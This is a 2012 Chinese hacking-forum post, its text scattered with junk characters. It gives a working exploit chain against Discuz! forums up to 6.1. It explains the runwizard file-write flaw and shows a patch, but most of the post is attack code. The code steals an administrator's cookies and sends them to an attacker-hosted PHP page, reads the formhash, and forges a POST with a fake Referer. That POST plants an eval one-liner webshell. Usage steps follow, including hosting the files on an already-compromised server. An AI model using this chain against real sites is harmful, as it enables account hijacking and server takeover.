找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 4003|回复: 0
打印 上一主题 下一主题

Discuz XSS得webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:11:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Discuz XSS得webshell
, Q) M+ u5 m6 _By racle @tian6.com3 M! @; c9 m; D5 Z& \6 G
欢迎转帖.但请保留版权信息.
" d0 z5 ]2 ~  Q5 _受影响版本iscuz<=6.1.0,gbk+utf+big5
8 `6 _1 a! M* \& u* `4 ~- X
5 V& I  E1 ?1 b, ?" Z" M9 z! G新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.9 |% ?) F# }8 b, g

$ P  a" X* b8 W# Y) J& U% l' v+ k% C' F8 ^8 ~3 X$ Z
3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706( t* m+ R6 J$ q6 S
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.  c3 d# C( ]; I
+ ]8 k- o/ {6 P- y$ @
分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等... g. B  J  e  I/ X
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS# e' S3 a% ?, Y1 o- |- a
5 s3 e& D$ ~( s+ L1 u

- @! K' L% t7 E# q4 F- A7 o----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------+ P, i& D, F3 c& E; ~8 N; J4 @- r
& z: H0 |! S  G  P

( P0 `' P# G' Rproblem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.. u+ k  G' d: X4 c% M4 m

0 R- @' B6 B; O: B# m- H" mproblem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.) U% }/ u3 G- S; }: Y8 B

, T6 V3 K) a; m; W( m6 ^problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.
  x3 J( C: z" \8 |# S3 G7 F) Z. L& b6 @# \' `/ e
+ N; b, M7 P! W* w7 k* B
下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {
$ ~  W+ e! C- ]( q  E" |" s# O$ B, w0 l5 G
        global $runwizardfile, $runwizardhistory;8 H4 g$ b6 O0 l! ]; m* A
, C( M' T3 o0 v- D# |
        $fp = fopen($runwizardfile, 'w');
5 @& J& t1 r+ h3 m4 i0 x' J- Y8 P( _  I5 t
        fwrite($fp, serialize($runwizardhistory));
! k9 H9 f; o  R! N/ P+ k" j5 J
' [( E0 w. |& T- L, r6 k; |        fclose($fp);
' m- W# {) C0 n! I& b. e* h' I" B' ^+ {4 Y0 r# p4 d' d: X( k% ^' \
}0 B( L/ r5 x! Y4 _- ^' r
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.
8 [  x+ n9 h  @' a7 B以下是修补的办法:function saverunwizardhistory() {
) d  H1 |" z& A* s. _- A
  @% r& }  X/ e( j        global $runwizardfile, $runwizardhistory;
! G" z/ c# B+ m; b5 S7 N+ v& i/ a
+ v: R5 T" @: W  Q        $fp = fopen($runwizardfile, 'w');
+ r) a' x. I5 _: \' y6 Z2 T6 r' |
" V$ a1 T6 M5 l4 z& x( t        $s = '<?php exit;?>';
9 C: W( A$ a. p9 B6 r& j" M  Q3 `) k* A. x. y* Q
        $s .= serialize($runwizardhistory);0 x$ @) X  f( w5 Y7 H; W
! G- j. |8 `4 p; a) Z
        fwrite($fp, $s);8 a8 I$ O9 j9 S% j3 q5 y  u9 D
+ p  [8 N9 D! M8 j" _2 a, O* W' J
        fclose($fp);9 g- \' o( ^3 S! E- C7 S6 ]
  X, u. N  A7 s) r
}
9 i- {8 p7 d/ w& G复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.
% H2 ]. k+ _* m: M
/ A0 W3 N2 Q  L0 i3 c; b. b; P
6 d/ z+ c" Q: g8 |/ K) Y) x: [" m9 u0 b% R3 e  j
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------
- A" ~! k4 `! P2 [; K$ e2 i7 A3 M+ q  r# {* \; O
7 \: d: x% D! [/ I
  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.
1 }* g# R& M3 f' k/ h1 E0 H. x- j: E; F3 o2 u" B2 W
我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.( k% P: R7 W( }+ D5 Q6 A3 K0 [6 u

7 H% ^- `7 H! T+ a* j5 J  x$ s这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.+ [0 C4 O( {- A7 K5 F3 y2 d
4 @9 Y. ^" J  g, D! F$ U
首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:
4 j# `, R* Q& q) {/ E  h; v" S0 v, a, S: F
var url="http://目标网站/admincp.php";      ! y+ x- F# l% c$ i
' j+ [/ a$ K7 }( @& s1 x
/*获得cookies*/
" M# e6 o. S0 ]3 I5 X4 h( V% Y, K  h1 s6 x
function getURL(s) {/ Y2 ], U6 S! L1 m+ t

' V0 [" P% {7 e& Lvar image = new Image();
4 O8 r' a9 V  B2 M- E* |6 e
$ j4 r# |  v& F( A* E0 Fimage.style.width = 0;
# m9 C6 h/ q6 a: |6 z
" e. T& }1 \" X: T4 z6 }image.style.height = 0;) o: h! \; S1 U. m6 f9 O
! \) A9 O) v+ G/ v/ c- X7 _
image.src = s;
0 L  {- t7 \) \$ i# I5 Q% j5 r; {9 M+ F' l+ L
}
, p8 ^' M2 I0 Q! R, J; L/ L9 S8 \* ~) V8 }% B
getURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php
8 Z. V7 p: B+ y9 Y1 {7 W复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];- v. _1 X: Q1 M! ]/ F3 C  Q# z
复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵)
0 h7 c3 t- C( v( P" n6 \! G
# T" {/ x, |0 j- n! s$ H# @/ ~" v  j! I0 V1 i% `& u
获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";
/ Y7 e0 v3 o1 A) l2 d2 O0 z
; [0 F4 B( s- o) P
& Q. c6 |( u* I* {" X0 ]1 d# b
/ G: w! P. j( N$ P. o/*hash*/
5 Q; s/ d" I2 w% y" O( E' w- `( }' i& T% e
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");
' ^& g1 @  G3 f% v! O2 N9 m3 m' R3 O
xmlHttpReq.open("GET", url+"admincp.php?action=home", false);
, R5 Q" [8 j: K$ O9 r: N: Q9 e. `* ^6 O
xmlHttpReq.send();4 F$ v/ u5 f4 h: ?
* \; c6 a" Y$ F0 y; y0 m& f
var resource = xmlHttpReq.responseText;6 F, G# l( k. n

% W( q& H: a# i7 p. {var numero = resource.search(/formhash/);
+ ~, A: o; }: Y$ B' z  V
. ~6 S! f4 X9 Uvar formhash=encodeURIComponent(resource.substr(numero+17,8));2 L8 @& O) \" A5 r

) |) s$ v4 W9 s8 \4 ^8 N) x; z: ^) w% L
* r( H4 b, S- C
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据 - c% s0 N0 i, `9 }: j
1 o2 p  x- _! _; _! {
xmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信 * C2 K" ]) u) h$ M# ^8 l# C/ l
0 n5 x0 G2 j1 U0 m
xmlHttpReq.setRequestHeader("Referer", url);
, y' k/ M6 h8 i9 [/ b" l4 R1 ^/ \& T: x; D! E6 R4 \
xmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
( d. d. k5 S8 {- k! c: g' V5 _
7 N( O  [# V, h' b) F7 yxmlHttpReq.setrequestheader("content-length",post.length); / h' o3 n  A9 {+ f- Y
3 m0 p. m* H$ l
xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded");
3 u( }% H9 F6 t: \) U; X1 N. P  g$ h2 Q. F/ b( c3 Z8 k
xmlHttpReq.send(post);//发送数据; v8 B" \9 v8 K3 U$ Q
复制代码这里HASH我假设正确,这样提交,也无须cookies6 S2 w; q2 f& F- m  u

$ T( S9 E1 {4 \  C再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);
: c. Y( z# o: h( ]% n( c$ i  b, }- n6 c
if (!$sock) die("$errstr ($errno)\n");* i/ {7 d: t/ Q: ^4 a

( Z# i& m' O$ o% e' J$ W$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';" E% V8 w% Z' N" o9 ~! @/ y
" a: P, k; b$ _' q2 M
9 s6 y- d! x2 @8 u

) W' S9 y* t, q$ ffwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");4 \: `& x" ], w7 \9 h; k2 Y1 N3 Z) p
1 N, c, |6 ]/ ^# F$ h/ H5 o  l
fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");3 l' }  s$ T: O: h' r) H) M
8 G$ F+ l' {4 P; q) e  i8 p  [
fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
& F$ I1 g' j/ L7 b% V2 @% L" V1 ~
0 M3 H* t4 l9 U1 o( N; ]3 ?fwrite($sock, "Accept-Language: zh-cn\r\n");
. l) A8 v5 V+ H# H. l# G, r' t/ N: }, A' r! X; i: e3 {1 V* ]
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
( y( i9 d5 r1 }: ], y5 m! K1 ]# j, F% e
0 H4 T' [: S3 [: k+ R; G+ s; Ffwrite($sock, "Accept-Encoding: gzip, deflate\r\n");: A$ g( \, H" |+ N' g" X

- @3 N& c. [* I5 lfwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");
8 Z: l2 H5 x7 z0 l4 y& S
& j& R. A0 n2 r1 L. L6 Zfwrite($sock, "Host: $url\r\n");( p( g1 }% B5 c& W  W

* p6 r; S+ I8 Mfwrite($sock, "Content-Length: ".strlen($data)."\r\n");
9 G# v( R7 l. P* R% y9 p7 M' T3 ]' m. ~; s% H8 b+ h4 U+ _' O7 ?! g
fwrite($sock, "Connection: Keep-Alive\r\n");  @: s, V3 L; S* g" S, B8 D2 x% ?
) Q* V# G/ N; j3 Z# s' `* N$ C2 \  E- i
fwrite($sock, "Cache-Control: no-cache\r\n");& D2 F6 M1 O8 q$ c% j$ T& d2 w

+ m  ]% Q+ G: n# ]8 `, Y( Kfwrite($sock, "Cookie:".$cookies."\r\n\r\n");
8 n1 G8 A3 o' y" S/ d  n" R" C% a6 o* Y
fwrite($sock, $data);
2 Y9 `8 }. d0 j9 K$ H' Y/ X' q0 Q$ K6 D5 ?

6 G! {' V7 z) [( B
/ |# g+ c# D  j* F$headers = "";7 t2 O& M) f3 V1 j. f% R

4 e3 d) k+ z9 C, wwhile ($str = trim(fgets($sock, 4096)))
4 o0 ~: T: v, D' p6 ~% m, [% H5 Z8 u, E) X( c- I1 _
     $headers .= "$str\n";" ]1 v; o' M  d! h6 o: o

3 A. h7 T7 f( w3 a8 r4 Necho "\n";8 ^( k6 s, }; }; o/ }* |% h" u" C
% o! e! u+ K9 A* {
$body = "";
2 E0 }+ F2 O0 e' G( l/ B8 }+ \7 y7 [4 i8 {: C% w# f
while (!feof($sock))! v2 o$ D" [& V
2 {0 U3 W+ x3 S& M* `
     $body .= fgets($sock, 4096);7 r( ~% U/ `" K! y
5 h; n% O" r9 u' Y
fclose($sock);
* J. a6 N7 X* h/ _1 Z! Y
, T& g0 f4 W( m( `0 iecho $body;
4 Y: {9 L4 e5 W# U7 }复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^
- N- }; z) ?0 w/ }+ Q4 i! r! {( r9 D6 W

* T& ?( }6 I9 l: V-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------
, @3 X0 }3 E& y8 _0 S9 J
: p, P- _; |5 \; v, v/ T8 b1 C+ E0 k7 b  X- ]# N- }* Z
1HP SOCKET利用方法首先打开racle.js# v8 R9 @6 W3 b: _, r7 {

- n0 Q; Y" g# a8 h9 ?( h  zvar url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home
' a- s3 T1 p0 J4 b4 }& h9 q2 T4 @1 b7 I7 P0 m$ Z& L4 v" z- C
6 I% M4 }& |6 i+ p) y' G

3 G) V* [( o2 w* j9 }  C然后打开racle@tian6.php
8 ?2 N8 r! n' Y9 \, X; v
( p& ^5 b$ W# T$ `" i* o9 i$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com& B, [# M% M- A9 x$ f* f

: K# d5 O8 I% }) H0 J7 z0 R9 I2 Z3 D, @2 n" Q

2 a: W  Z$ Q4 g" ]- q如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
$ f: ~/ C' g1 _0 V. m" i4 i5 c  m  o$ @$ ]
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));
% i2 B4 j; Q( I
6 a8 C* {& |' N4 k为( s2 k% e7 ^8 ^* N! w5 s& y0 ~! T
) z  @  p  P. Q+ l( ]( D% k/ ]
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));4 t3 }. o) T& i* y6 u
复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.) |  F& U! f+ _! I
, m4 O1 c: t2 l/ ]: r2 u2 Q: \

! i' V- d+ W  E; u
- l/ @/ @1 t! M  d如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
  k7 k) U3 T" j# S
: n2 C9 p7 {; ^var formhash=encodeURIComponent(resource.substr(numero+17,8));+ h0 [5 |4 _, ?3 J

' G6 \+ t# U! t# M$ E( ]7 s为6 Q' ]# w0 S) M9 h, y
" g9 m5 g4 M- r
var formhash=encodeURIComponent(resource.substr(numero+9,8));# v; R0 G+ Z& f" e) [
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.
& O& B* g0 A# u: |& m1 M6 \) q& m8 J# A: ?4 J8 j: w
如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.
% a. H0 M+ `1 M8 |6 }/ Z
- K; t0 I- Z3 p' G3 n9 V7 m( X如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.* v; r' t( {3 n) J
+ ]3 I) L0 A% K+ \6 A- U
不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.5 A+ ]: ~+ R6 F4 s

7 h1 i0 _! S9 f
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表